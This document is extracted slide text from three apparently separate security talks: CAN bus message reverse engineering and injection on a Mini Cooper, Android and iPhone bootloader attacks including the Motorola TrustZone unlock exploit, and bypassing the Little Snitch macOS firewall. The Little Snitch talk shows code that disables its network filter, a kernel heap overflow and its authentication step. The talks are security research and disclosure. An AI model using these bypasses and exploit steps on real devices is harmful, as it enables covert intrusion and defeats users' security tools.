• Research project developed as a proof of concept
– Manipulating CAN nodes via CAN network
– Reverse Engineering CAN messages
– 2003 Mini Cooper
Computer Science / www.isec.utulsa.edu
Background of vehicle communication networks
• Began in 1980s with General Motors
• Common vehicle Protocols
– CAN (Most widely used among manufactures)
– FlexRay
– KW2000
– LIN
– J1850 (GM/Chrysler)
– J1939 (Heavy Trucks)
– J1708/J1587 (Being phased out due to J1939)
• 2008: All US cars use CAN for mandated EPA diag.
Computer Science / www.isec.utulsa.edu
Controller Area Networks
• Bosh CAN standard
– Developed in the 80s
– European Manufactures were early adopters
– Standard Format
• 11-bit ID header
• Mfg. use of proprietary IDs for each of their CAN components
– Extended Format
• 29-bit ID header
• Used extensively by J1939
Computer Science / www.isec.utulsa.edu
CAN Frame
– SOF – Start of Frame
– Identifier – Unique identifier for message along with priority
– RTR – Remote Transmission Request
– IDE – Identifier extension (distinguishes between CAN standard and
CAN extended)
– DLC – Data Length Code (frames have up to 8 bytes of data)
– CRC – Cyclic Redundant Check sum
– ACK – Acknowledge
– EOF – End of Frame
– IFS – Intermission Frame Space
Computer Science / www.isec.utulsa.edu
Interconnected vehicle networks
Computer Science / www.isec.utulsa.edu
Electronic Control Units (ECUs)
• ECUs designed to control :
– Vehicle safety systems
• Engine control unit
• ABS braking system
• Door locks
– Infotainment systems
• Radio Deck
• HID units
– The list goes on
• Programmable ECUs
– Allows MFGs to update firmware on ECUs
• Average modern day car has ~70 ECUs
Computer Science / www.isec.utulsa.edu
Reverse Engineering CAN Messages
• What we want to do:
– Manipulate CAN enabled vehicle components
• Problem:
– Manufactures do not publish CAN message ID information about
their various CAN components
• Solution:
– A method for visually correlating physical system interactions
with identifiable patterns. (Humans are good at this)
– Brute force (Tedious, and messy)
Computer Science / www.isec.utulsa.edu
Reverse Engineering CAN Messages
• Passively captured CAN data during a staged test run
– In this case it was a staged automotive collision..
– Mini Cooper vs. GMC Envoy (Check out TU-CRRC website for
killer videos)
– Data capture lasted for roughly 90 seconds
• Data Log gives us ~106,000 data entries of CAN
messages
Computer Science / www.isec.utulsa.edu
Computer Science / www.isec.utulsa.edu
CAN Data Log
• Contained ~106,000 data entries
• Bash “cut –d. –f3 cooperheadion.txt | sort | uniq –c”
– Only 15 Unique CAN IDs!?
ID Occurrences
CAN IDs
12706
153
12706
1F0
12706
1F3
9460
1F5
12707
1F8
8899
316
8899
329
Computer Science / www.isec.utulsa.edu
Visually identifying CAN messages of interest
0
5
10
15
20
25
30
0
10
20
30
40
50
60
70
80
90
100
Vehicle Speed (MPH)
Time (sec)
0x153 Byte 2 CAN Message
Computer Science / www.isec.utulsa.edu
Reverse Engineering CAN Messages
• Speedometer and Tachometer CAN IDs
– 2 methods
• For each CAN ID, plot data values vs. timestamp in order to
determine physical significance.
• Given possible CAN IDs, fuzz data fields until needles start moving
CAN Message ID Description
0x153 Byte 2
Speedometer (Vehicle Speed)
0x316 Byte 3
Tachometer (Engine Speed)
0x329
Various indicator lights
0x61A
Controls the messages being displayed on the tachometer
LED screen.
0x61F
Tachometer along with various indicator lights
Computer Science / www.isec.utulsa.edu
Building the CAN network
• CAN Bus
– 18 gauge wire
– 2 x 120 ohms terminating resistors
– 12V DC power source
– Arduino Uno microcontroller
– CAN Bus Shield
• MCP2515 CAN controller
• MCP2551 CAN transceiver
– Mini Cooper Instrument Cluster
– Real time clock module RTC (for clock mode)
Computer Science / www.isec.utulsa.edu
Computer Science / www.isec.utulsa.edu
Computer Science / www.isec.utulsa.edu
Proof of Concept
• Talking CAN with Arduino
– Arduino and CAN Controller Libraries
• MCP2515 (Communication with CAN transceiver)
• SPI (Used for communications between Arduino and CAN shield)
• 2 Modes of operation
– Clock Mode
– Demo Mode
Computer Science / www.isec.utulsa.edu
Demo
Computer Science / www.isec.utulsa.edu
Gaining physical access to CAN
• Via OBD2
• Tapping the CAN bus (vampire tap)
– Under the hood
– Breaking a powered side view mirror
– Etc.
• 0 to pwned for less then $100
– Rogue Arduino CAN node
• Potential conspirators
– Mechanics
– Car Rentals
– Coworkers/Family/Friends/Ex-girlfriends/etc.
Computer Science / www.isec.utulsa.edu
Future Work / Conclusion
• Access control between vehicle network components
– ECU to ECU
– OBD2 to ECU
• Applying conventional NIPS & firewall methods to CAN
– Message anomaly prevention depending on context?
Computer Science / www.isec.utulsa.edu
For more Information
• TU Research
– http://isec.utulsa.edu/
– http://tucrrc.utulsa.edu/ ← Check out our research and crash tests
– http://tucrrc.utulsa.edu/canclock/
• CAN Standards/Docs
– http://esd.cs.ucr.edu/webres/can20.pdf (CAN 2.0 Spec)
– http://www.sae.org/standards/
Computer Science / www.isec.utulsa.edu
Questions??
• [email protected] | pdf |
解析bootloader安全
程君 [email protected]
自我介绍
• 10年安全研究与开发
• 系统安全,移动与嵌入式安全
• 2008-2010 comodo 主动防御研究与开发
• 2010- 2011 网秦移动安全高级研究员
• 2011- 至今 猎豹移动研发经理,参与手机
毒霸研发
移动安全支付
• 社会工程
短信诈骗 电话诈骗
• 盗号
程序伪冒 钓鱼 键盘记录 网络截获
• 系统漏洞
Root 提权 内存读取
• bootloader级别漏洞
议程
• bootloader 基本介绍
• bootloader 获取与分析
• bootloader 具体流程
• bootloader attack vector 以及漏洞介绍
• bootloader 安全总结
bootloader 基本介绍
• 什么是bootloader
Bootloader 是启动加载的意思。在pc时代,windows 系统开
机时会首先加载bios,然后是MBR,再到os loader系统内核,最后启动
完毕。bootloader就相当于MBR 和os loader,它在手机启动的时候初
始化硬件,然后引导系统内核,直到系统启动。常见的有pc 的grub
和嵌入式的uboot。
bootloader 基本介绍
• 研究bootloader 的意义
1.修复变砖机器
2.寻找漏洞:越狱(iphone)与解锁
(android)
iphone:
bootrom 漏洞 key 提取
android:1.永久root 2.安装第三方rom
3.安全移动操作系统设计:knox
bootloader 基本介绍
• 研究对象
由于bootloader 涉及到芯片厂商和系统,不同厂商和不同系
统的启动流程均不相同,高通芯片和android市场占有率最高,本议
题如果没有指明特定的芯片和平台,均以android 下的高通平台作为
例子说明。iphone只简要介绍其bootloader流程
bootloader 基本介绍
• bootloader 组成 (android)
1.PBL:prime bootlader,iphone 叫
bootrom
2.SBL(1/2/3):secord bootloader
3.APPSBL:HTC 的叫hboot,有的叫aboot
4.HLOS: 基带也叫basehand或者radio
5.TZ:TrustZone
bootloader 基本介绍
• bootloader 组成 (iphone )
1.BootRom: PBL, SecureROM
2.LLB:Low Level Bootloader,
checks the signature of iBoot
3 iBoot:stage 2 bootloader ,recovery mode
4.iBBS:A stripped down version of iBoot
5.iBEC:performing a restore from Fake
DFU in LLB.
bootloader获取与分析
• Bootloader 获取
1.从rom 中获取
android后缀为mbn或者img
2. 从系统中dump
a.有些android 手机
可以dump bootloader的挂载文件
bootloader获取与分析
• bootloader 获取
例如:华为P1
dd if=/dev/block/mmcblk0p3
of=/sdcard/mnt/bootloader.img
b.iphone 下 Limera1n Exploit dump
Bootrom
3. 硬件使用jtag 接口获取
android 手机一般可以通过jtag 接口获取
bootloader获取与分析
• bootloader 分析(以android sbl1为例)
直接把sbl1 拖到ida 中反汇编效果不明显,
我们缺少了什么?加载地址。怎么样确定加
载地址?
1.bootloader cpu体系手册规定的加载地
址
2.bootloader 文件格式结构
3.手动分析,经验猜测
bootloader获取与分析
• bootloader 分析 (以android sbl1为例)
1.bootloader cpu体系手册规定加载地址
现在手机操作系统一般使用高通的芯片
比较多,我们以MSM8960为例
见下图 :
sbl1 0x2A000000 tz: 0x2a020000
sbL2 0x2E000000 sbl3:0x47f00000
bootloader获取与分析
•
加载地址 来自《8960 Boot Architecture》
bootloader获取与分析
•
bootloader 获得与分析 (以android 为例)
2.bootloader 文件结构中规定的加载地址
bootloader获取与分析
• bootloader 分析 (以android sbl1为例)
3.手动分析,经验猜测
我们知道这些未知格式的rom要运行的话,
必须有加载地址,可能有简单的头格式,如第二
种方法种见到的头格式,如果有的话,这个头格
式可能包含加载地址(pe,elf格式文件头都有这
种加载地址叫entrypoint)。在程序代码引用中如
果出现大量的未知地址,如果这些地址很相近,
那么可能是我们要找的加载地址。
bootloader 基本介绍
• bootloader 分析 (以android sbl1为例)
从上面可以看出,0xF803D5A5 没有解析出来,
这个地址附近相关地址在系统中出现,可能是我
们的加载地址,由于对其原因,我们可以猜测出
加载地址为:0xF8000000
bootloader 具体流程
• boot 一般流程
第一阶段:
1.初始化基本硬件;
2.把bootloader自动搬运到内存中;
3.设置堆栈指针并将bss段清零,为后续执行代码做准备;
第二阶段:
1.初始化本阶段要用到的硬件;
2.读取环境变量;
3.启动:
(a)自启动模式,从Flash或通过网络加载内核并执行;
(b)下载模式,接收到用户的命令后执行;
bootloader 具体流程
• bootloader 具体流程 (android )
PBL(bootrom)-sbl1->
sbl2-> tz->sbl3->
APPSBL(app bootloader)
bootloader 具体流程
• bootloader 具体流程 (iphone )
1.iphone normal mode
2.iphone DFU mode
(Device Firmware Upgrade)
bootloader 具体流程
• bootloader 具体流程总结
一般bootloader 分为多阶段引导,除了
进行正常的硬件初始化,还有一个重要的任
务就是签名验证,上一层对下一层进行安全
签名验证,以保证下一层系统的完整性,最
终加载os 系统内核。
bootloader attack vector
• fastboot 是bootloader 的交互接口
fastboot oem unlock(厂商留着解锁的)
fastboot boot 危险接口
bootloader attack vector
• 对于未解锁的
通过fastboot 接口,bypass 验证签名达到
改写系统目录权限
• 对于解锁的
1.修改加载的boot.img 系统文件 init.rc 文件加
载自己的恶意服务
2.在bootloader 中嵌入rootkit 代码
bootloader attack vector
• 未解锁漏洞攻击
1.google Nexus one 的bootloader 签名被绕过
2.Motorola Android系统 TrustZone内核安全漏
洞(CVE-2013-3051 )
3.samsung-galaxy-s4 aboot 漏洞
这三个中我们只分析第二个,具体分析将在
后面漏洞分析中介绍
bootloader attack vector
• 已解锁修改boot.img init.rc 启动文件
OldBoot 系列修改boot.img 的init.rc 添加
服务
service imei_chk /sbin/imei_chk
class core
socket imei_chk stream 666
bootloader attack vector
• 已经解锁 bootloader rootkit
还未发现攻击,估计很快将会出现
bootloader attack vector
• google Nexus one 的bootloader 签名被绕过
htc 手机有个安全属性s-on, s-off,当签名
检查通过后,就可以写系统目录,此时状态
是s-off, 当签名没有检查通过,就不能写系统
目录,此时状态就是s-on
由于Hboot 可以引导一个用户的kerenl,
而这个kernel 可以用来patch 签名的检查,从
而导致可以写系统目录。
bootloader 漏洞介绍
• google Nexus one 的bootloader 签名被绕过
工具:blackrose
http://forum.xda-
developers.com/showthread.php?t=1270
原理:
http://hi.baidu.com/vessial/item/830e961
d2c2bea623e87ce47
bootloader 漏洞介绍
• samsung-galaxy-s4 aboot 漏洞
工具:https://github.com/Berrrry/loki
原理:
http://blog.azimuthsecurity.com/2013/05/
exploiting-samsung-galaxy-s4-secure-boot.html
bootloader 漏洞介绍
• Motorola Android系统 TrustZone内核安全漏洞
(CVE-2013-3051)
漏洞描述:使用Qualcomm MSM8960芯片的
Motorola Razr HD,Razr M,以及Atrix HD设备中
某Motorola定制版的Android 4.1.2系统TrustZone
内核中存在漏洞,该漏洞源于程序没有校验某物
理地址参数与内存区域之间的关联。通过使用内
核模式执行对特制0x9和0x2 SMC操作,本地攻击
者可利用该漏洞解锁引导装载程序(bootloader)
bootloader 漏洞介绍
• Motorola Android系统 TrustZone内核安全漏
洞(CVE-2013-3051
)
Motorola 解锁需要token,命令为:
fastboot oem unlock [token]
当有token后,motorola bootloader 里面有个
全局标记记录是否解锁,但是特殊的0x9和
0x2 SMC,会改写这个标志
bootloader 漏洞介绍
• Motorola Android系统 TrustZone内核安全漏
洞(CVE-2013-3051
)
工具:motopocalypse
http://vulnfactory.org/public/motopocalypse.zip
原理:
http://blog.azimuthsecurity.com/2013/04/
unlocking-motorola-bootloader.html
bootloader 漏洞介绍
• motopocalypse 中unlock 程序分析:
1.搜索全局标志
2.构造smc_command 命令参数,并映射到
内核地址0x80202000
3. hook unix_seqpacket_ops 中的ioctl 函
数,用payload 替换
bootloader 漏洞介绍
• motopocalypse 中unlock 程序分析:
4.触发payload 调用
socket(PF_LOCAL,SOCK_SEQPACKET, 0);
ioctl(socket_fp, 0, 0)
5.payload 函数构造
bootloader 漏洞介绍
• 1.搜索全局标志,全局标志有返回错误-
1001,搜索value 0xfffffc17 (-1001)
if (global_flag) ret = -1001;
bootloader 漏洞介绍
• 2.构造smc_command 命令参数,并映射到内
存地址0x80202000(第一次构造smc 0x9)
bootloader 漏洞介绍
• 2.smc_command 0x9 对应的bootloader处理
bootloader 漏洞介绍
• 2.构造smc_command 命令参数,并映内存地
址0x80202000(第二次构造)
bootloader 漏洞介绍
• 2.smc_command 0x2 对应的bootloader处理
bootloader 漏洞介绍
• 3.hook unix_seqpacket_ops 中的ioctl 函
/proc/kallsyms中得到地址
hook unix_seqpacket_ops 调用触发我们的
payload
bootloader 漏洞介绍
• 4.触发payload 调用
socket 调用最终触发了unix_create中的
case SOCK_SEQPACKET:
sock->ops = &unix_seqpacket_ops;
由于hook 了 unix_seqpacket_ops 中的ioctl,调
用ioctl触发我们的hook 函数payload
bootloader 漏洞介绍
• 5.payload 函数构造
bootloader 安全总结
• 1.bootloader 安全是一个信任链安全,任何
输入文件的信任,都必须对文件签名和校
验,Nexus one的漏洞是由于没有签名kernel
文件,导致已有的签名被绕过,Oldboot的
利用是没有签名boot.img
• 2.解锁的bootloader 不能保证系统的安全性
• 3.对关键内核的函数地址隐藏关闭
kptr_restrict写权限,对内核结构进行写保
护
后续待研究
• bootloader rootkit
• 主流android未解锁解锁bootloader 漏洞发掘
参考
• 8960 Boot Architecture
• http://blog.azimuthsecurity.com
• 如果绕过Nexus One的Bootloader的数字签名
by xee
• Android系统典型bootloader分析 by 火翼
• http://forum.xda-developers.com/
谢谢 | pdf |
@patrickwardle
I got 99 Problems, but
Little Snitch ain’t one!
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
@patrickwardle
security for the
21st century
career
hobby
making little snitch our b!tch
OUTLINE
understanding
bypassing
reversing
owning
UNDERSTANDING LITTLE SNITCH
…a brief overview
the de-facto host firewall for macOS
LITTLE SNITCH
"Little Snitch intercepts
connection attempts, and lets
you decide how to proceed."
-www.obdev.at
little snitch alert
in the news (red team vs. palantir)
the puzzle pieces
LITTLE SNITCH COMPONENTS
ring-0
ring-3 (root session)
LittleSnitch.kext
Little Snitch Daemon
Little Snitch Configuration
Little Snitch Agent
› network, process monitoring
'authentication'
›
› rules management
› rules management
preferences
›
› ui alerts
ring-3 (user/UI session)
ring-0 bug
BYPASSING LITTLE SNITCH
undetected data exfil
abusing system rules to talk to iCloud
LITTLE SNITCH BYPASS 0X1
iCloud
little snitch's iCloud rule
o rly!?...yes!
un-deletable system rule:
"anybody can talk to iCloud"
abusing 'proc-level' trust
LITTLE SNITCH BYPASS 0X2
$/python/dylibHijackScanner.py//
GPG/Keychain/is/vulnerable/(weak/rpath'd/dylib)/
'weak/dylib':////'/Libmacgpg.framework/Versions/B/Libmacgpg'//
'LC_RPATH'://////'/Applications/GPG/Keychain.app/Contents/Frameworks'
undetected exfil/C&C
"Using Process Infection to Bypass
Windows Software Firewalls" -Phrack, '04
gpg keychain; allow all
dylib hijack 'injection'
stop the network filter
LITTLE SNITCH BYPASS 0X3
ring-0
method 0xB
disable: 0x0
ring-3
LittleSnitch.kext
//connect & authenticate to kext
// ->see later slides for details :)
//input
// ->set to 0x0 to disable
uint64_t input = 0x0;
//stop network filter
IOConnectCallScalarMethod(connectPort, 0xB, &input, 0x1, NULL, NULL);
'invisible' to UI
//input
// ->disable is 0x0
if( (0xB == method) &&
(0x0 == scalarInput) )
{
//disable filter!
}
'stop network filter'
REVERSING LITTLE SNITCH
poking on kext's interfaces
/Library/Extensions/LittleSnitch.kext
LITTLE SNITCH'S KEXT
$/less/LittleSnitch.kext/Contents/Info.plist/
<?xml/version="1.0"/encoding="UTF-8"?>/
<plist/version="1.0">/
<dict>/
///<key>CFBundleExecutable</key>/
///<string>LittleSnitch</string>/
///<key>CFBundleIdentifier</key>/
///<string>at.obdev.nke.LittleSnitch</string>/
///<key>CFBundlePackageType</key>/
///<string>KEXT</string>/
///<key>IOKitPersonalities</key>/
///<dict>/
//////<key>ODLSNKE</key>/
//////<dict>/
/////////<key>CFBundleIdentifier</key>/
/////////<string>at.obdev.nke.LittleSnitch</string>/
/////////<key>IOClass</key>/
/////////<string>at_obdev_LSNKE</string>/
/////////<key>IOMatchCategory</key>/
/////////<string>at_obdev_LSNKE</string>/
/////////<key>IOProviderClass</key>/
/////////<string>IOResources</string>/
/////////<key>IOResourceMatch</key>/
/////////<string>IOBSD</string>/
//////</dict>/
///</dict>/
.../
kext's Info.plist file
i/o kit
signing info
XNU's device driver env
I/O KIT
self-contained,
runtime environment
implemented in C++
object-oriented
›
"Mac OS X and iOS Internals"
"OS X and iOS Kernel Programming"
"IOKit Fundamentals" (apple.com)
#include <IOKit/IOLib.h>
#define super IOService
OSDefineMetaClassAndStructors(com_osxkernel_driver_IOKitTest, IOService)
bool com_osxkernel_driver_IOKitTest::init(OSDictionary* dict)
{
bool res = super::init(dict);
IOLog("IOKitTest::init\n");
return res;
}
IOService* com_osxkernel_driver_IOKitTest::probe(IOService* provider,
SInt32* score)
{
IOService *res = super::probe(provider, score);
IOLog("IOKitTest::probe\n");
return res;
}
bool com_osxkernel_driver_IOKitTest::start (IOService *provider)
{
bool res = super::start(provider);
IOLog("IOKitTest::start\n");
return res;
}
...
$/sudo/kextload/IOKitTest.kext/
$/grep/IOKitTest//var/log/system.log/
/users-Mac/kernel[0]:/IOKitTest::init/
/users-Mac/kernel[0]:/IOKitTest::probe/
/users-Mac/kernel[0]:/IOKitTest::start
load kext; output
i/o kit resources
›
›
›
sample i/o kit driver
'inter-ring' comms
I/O KIT
serial port driver
open(/dev/xxx)
read() / write()
other i/o kit drivers
find driver; then:
I/O Kit Framework
read/write 'properties'
send control requests
"The user-space API though which a process
communicates with a kernel driver is provided by
a framework known as 'IOKit.framework'"
-OS X and iOS Kernel Programming
today's focus
or
invoking driver methods
I/O KIT
//look up method, invoke super
externalMethod(selector, ...)
ring-0
//check params, invoke method
super::externalMethod(..., dispatch, ...)
}
selector
(method index)
› dispatch = methods[selector]
dispatch
(method)
method_0();
method_1();
method_2();
ring-3
ex; driver interface
I/O KIT
const IOExternalMethodDispatch com_osxkernel_driver_IOKitTestUserClient::sMethods[kTestUserClientMethodCount] = {
//kTestUserClientStartTimer(void);
{sStartTimer, 0, 0, 0, 0},
//kTestUserClientDelayForTime(const TimerValue* timerValue);
{sDelayForTime, 0, sizeof(TimerValue), 0, 0},
};
IOReturn com_osxkernel_driver_IOKitTestUserClient::externalMethod (uint32_t selector, IOExternalMethodArguments*
arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference){
//ensure the requested control selector is within range
if(selector >= kTestUserClientMethodCount)
return kIOReturnUnsupported;
dispatch = (IOExternalMethodDispatch*)&sMethods[selector];
target = this;
reference = NULL;
return super::externalMethod(selector, arguments, dispatch, target, reference);
}
struct IOExternalMethodDispatch {
IOExternalMethodAction function;
uint32_t checkScalarInputCount;
uint32_t checkStructureInputSize;
uint32_t checkScalarOutputCount;
uint32_t checkStructureOutputSize;
};
describes
methods/args
entry point, user-mode requests
forward request to super,
which routes to method
IOExternalMethodDispatch struct
i/o kit driver interface
ex; user 'client'
I/O KIT
mach_port_t masterPort = 0;
io_service_t service = 0;
//get master port
IOMasterPort(MACH_PORT_NULL, &masterPort);
//get matching service
service = IOServiceGetMatchingService(masterPort,
IOServiceMatching("com_osxkernel_driver_IOKitTest"));
io_connect_t driverConnection = 0;
//open connection
IOServiceOpen(service, mach_task_self(), 0, &driverConnection);
find driver
open/create connection
struct TimerValue { uint64_t time, uint64_t timebase; };
struct TimerValue timerValue = { .time=500, .timebase=0 };
//make request to driver
IOConnectCallStructMethod(driverConnection, kTestUserClientDelayForTime,
timerValue, sizeof(TimerValue), NULL, 0);
kern_return_t
IOConnectCallStructMethod(
mach_port_t connection,
uint32_t selector,
const void *inputStruct,
size_t inputStructCnt,
void *outputStruct,
size_t *outputStructCnt
);
send request
IOKitLib.h
IOConnectCallStructMethod
function
"OS X and iOS Kernel Programming"
(chapter 5)
selector
lea rcx, aDjd4e ; "DJD4E="
mov edx, 0AE4C415Dh
;string decoding omitted
lea rsi, [rbp+symbol]
mov rdi, 0FFFFFFFFFFFFFFFEh
call _dlsym
mov r10, rax
mov cs:qword_10006E3C8, r10
test r10, r10
jz short loc_100025EAE
lea rdi, [rbp+var_30]
lea rdx, [rbp+var_2B8]
lea rcx, [rbp+var_2D8]
mov esi, 4
xor r8d, r8d
xor r9d, r9d
call r10 ; qword_10006E3C8
test eax, eax
jnz short loc_100025EB7
lea rcx, aAec246 ; "AEC246"
mov edx, 0AE4C415Dh
strDecode:
movzx esi, byte ptr [rax+rcx]
add esi, 0Fh
mov rdi, rsi
imul rdi, rdx
shr rdi, 26h
imul edi, 5Eh
sub esi, edi
add esi, 20h
mov [rbp+rax+symbol], sil
inc rax
cmp rax, 6
jnz short strDecode
mov [rbp+var_2A], 0
lea rsi, [rbp+symbol]
mov rdi, 0FFFFFFFFFFFFFFFEh
call _dlsym
mov r8, rax
mov cs:qword_10006E068, r8
mov edi, 1Fh
mov esi, 0FFFFFFFFh
xor edx, edx
xor ecx, ecx
call r8 ; qword_10006E068
test eax, eax
jz short continue
gtfo reversers! #not
LITTLE SNITCH ANTI-ANALYSIS
#define PT_DENY_ATTACH 0x1F
//decode 'ptrace'
char* symbol = strDecode("AEC246", 0x0AE4C415D);
//get address of ptrace()
*(void **)(&fpPTRACE) = dlsym(handle, symbol);
//invoke ptrace w/ 'PT_DENY_ATTACH'
if(0 != fpPTRACE(PT_DENY_ATTACH, -1, 0, 0))
{
//debugger detected
// ->exit!
}
#define P_TRACED 0x00000800
//decode 'sysctl'
char* symbol = strDecode("DJD4E=", 0x0AE4C415D);
//get address of sysctl()
*(void **)(&fpSYSCTL) = dlsym(handle, symbol);
//invoke sysctl() to get current process info
// ->mib: KERN_PROC, KERN_PROC_PID, and pid
fpSYSCTL(mib, 4, &info, &size, NULL, 0);
//check if process is being traced
if(P_TRACED == (info.kp_proc.p_flag & P_TRACED))
{
//debugger detected
// ->exit!
}
# ps aux | grep "Little Snitch"
root 61 Little Snitch Daemon
# lldb -p 61
(lldb) process attach --pid 61
error: attach failed: lost connection
ptrace(PT_DENY_ATTACH)
sysclt()/P_TRACED
attach? nope!
service: 'at_obdev_LSNKE'
FIND/CONNECT TO LITTLE SNITCH'S KEXT
char -[m097e1b4e m44e2ed6c](void * self, void * _cmd)
{
...
sub_10003579a(0x7789);
}
int sub_10003579a(int arg0)
{
r15 = arg0;
rbx = IOMasterPort(0x0, 0x0);
r14 = IOServiceGetMatchingService(0x0, IOServiceNameMatching("at_obdev_LSNKE"));
r15 = IOServiceOpen(r14, *_mach_task_self_, r15, 0x10006ed58);
mach_port_t masterPort = 0;
io_service_t serviceObject = 0;
io_connect_t connectPort = 0;
IOMasterPort(MACH_PORT_NULL, &masterPort);
serviceObject = IOServiceGetMatchingService(masterPort, IOServiceMatching("at_obdev_LSNKE"));
IOServiceOpen(serviceObject, mach_task_self(), 0x7789, &connectPort);
ls' daemon
hopper decompilation
$ ./connect2LS
got master port: 0xb03
got matching service (at_obdev_LSNKE): 0xf03
opened service (0x7789): 0x1003
custom 'connection' code
connected!
'reachable' kernel methods
ENUMERATING AVAILABLE INTERFACES
class_externalMethod proc
push rbp
mov rbp, rsp
cmp esi, 16h
ja short callSuper
mov eax, esi
lea rax, [rax+rax*2]
lea rcx, IORegistryDescriptorC3::sMethods
lea rcx, [rcx+rax*8]
...
callSuper:
mov rax, cs:IOUserClient_vTable
pop rbp
jmp qword ptr [rax+860h]
IOKitTestUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments*
arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference)
if(selector <= 16)
dispatch = (IOExternalMethodDispatch*)&sMethods[selector];
return super::externalMethod(selector, arguments, dispatch, target, reference);
IORegistryDescriptorC3_sMethods
IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED832h, 0, 0, 1, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED846h, 0, 0, 0, 83Ch>
IOExternalMethodDispatch <0FFFFFF7FA13ED89Ah, 0, 0Ch, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED8D2h, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED944h, 0, 10h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED95Ah, 0, 0, 1, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED97Eh, 0, 0, 1, 0>
IOExternalMethodDispatch <0FFFFFF7FA13ED9CEh, 1, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDA84h, 1, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDAC6h, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13EDBBAh, 0, 0, 0, 10h>
IOExternalMethodDispatch <0FFFFFF7FA13EDBCEh, 0, 0, 0, 80h>
IOExternalMethodDispatch <0FFFFFF7FA13EDBFAh, 0, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC0Eh, 1, 0, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC22h, 0, 0Ch, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDC36h, 0, 10h, 0, 18h>
IOExternalMethodDispatch <0FFFFFF7FA13EDC4Ah, 0, 0, 0, 2Ch>
IOExternalMethodDispatch <0FFFFFF7FA13EDC86h, 0, 54h, 0, 0>
IOExternalMethodDispatch <0FFFFFF7FA13EDCC2h, 1, 0, 0, 0>
class methods ('sMethods')
method #7
struct IOExternalMethodDispatch {
IOExternalMethodAction function;
uint32_t checkScalarInputCount;
uint32_t checkStructureInputSize;
uint32_t checkScalarOutputCount;
uint32_t checkStructureOutputSize;
};
IOExternalMethodDispatch struct
pseudo code
ls' externalMethod()
IOUserClient.h
it haz bug!
SAY HELLO TO METHOD 0X7
IOExternalMethodDispatch
<0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0>
0XFFFFFF7F86FED8FA method_0x7 proc
...
mov rax, [rdi] ; this pointer, vTable
mov rax, [rax+988h] ; method
mov rsi, rdx
jmp rax
+0x0 __const:FFFFFF7FA13F5A30 vTable
...
...
+0x988 __const:FFFFFF7FA13F63B8 dq offset sub_FFFFFF7FA13EABB2
0x63B8 - 0x5A30
= 0x988
sub_FFFFFF7FA13EABB2 proc
mov rbx, rsi
mov rdi, [rbx+30h] ; user-mode (ls) struct
call sub_FFFFFF7FA13E76BC
sub_FFFFFF7FA13E76BC proc near
call sub_FFFFFF7FA13E76F7
sub_FFFFFF7FA13E76F7 proc near
mov rbx, rdi ; user-mode struct
mov rdi, [rbx+8] ; size
test rdi, rdi
jz short leave ; invalid size
cmp qword ptr [rbx], 0
jz short leave
mov rsi, cs:allocTag
call _OSMalloc ; malloc
...
mov rdi, [rbx] ; in buffer
mov rdx, [rbx+8] ; size
mov rsi, rax ; out buffer (just alloc'd)
call _copyin
struct lsStruct {
void* buffer
size_t size;
... };
sub_FFFFFF7FA13E76F7(struct lsStruct* ls)
{
if( (0 == ls->size) || (NULL == ls->buffer) )
goto bail;
kBuffer = OSMalloc(ls->size, tag);
if(NULL != kBuffer)
copyin(ls->buffer, kBuffer, ls->size);
method 0x7 'call thru'
malloc/copy (pseudo-code)
malloc/copy (IDA)
32bit
size matters...
KERNEL BUG?
void* OSMalloc( uint32_t size, ...);
libkern/libkern/OSMalloc.h
int copyin(..., vm_size_t nbytes );
osfmk/x86_64/copyio.c
offset
15
...
8
7
6
5
4
3
2
1
0
value
1
0
0
0
0
0
0
0
2
64bit
64bit value: 0x100000002
32bit value: 0x100000002
struct lsStruct ls;
ls.buffer = <some user addr>;
ls.size = 0x100000002;
//malloc & copy
kBuffer = OSMalloc(0x00000002, tag);
if(NULL != kBuffer)
copyin(ls->buffer, kBuffer, 0x100000002);
vs.
kernel/heap
heap/buffer/
[size:/2/bytes]
rest/of/heap....
heap/buffer/
[size:/2/bytes]
rest/of/heap....
0x41
0x41
0x41/0x41/0x41/0x41/
0x41/0x41/0x41/0x41
vm_size_t is 64bits!
OWNING LITTLE SNITCH
exploitation?
gotta 'authenticate'
ISSUE 0X1
IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0>
method_0x7 proc
cmp byte ptr [rdi+0E9h], 0
jz short leave
;buggy code
IOExternalMethodDispatch <0FFFFFF7FA13ED944h, 0, 10h, 0, 0>
method_0x8 proc
MD5Update(var_90, r14 + 0xea, 0x10);
MD5Update(var_90, 0x8E6A3FA34C4F4B23, 0x10);
MD5Final(0x0FC5C35FAA776E256, var_90);
do{
rdx = rcx;
rcx = *(int8_t *)(rbp + rax + 0xffffffffffffff60);
rcx = rcx ^ *(int8_t *)(rbx + rax);
rcx = rcx & 0xff | rdx;
rax = rax + 0x1;
} while(rax != 0x10);
if (rcx == 0x0)
*(r14 + 0xe9) = 0x1;
connect to Little Snitch
driver ('at_obdev_LSNKE')
invoke method 0x4
returns 0x10 'random' bytes
hash this data, with embedded
salt (\x56\xe2\x76\xa7...)
invoke method 0x8 to with
hash to authenticate
unsigned char gSalt[] =
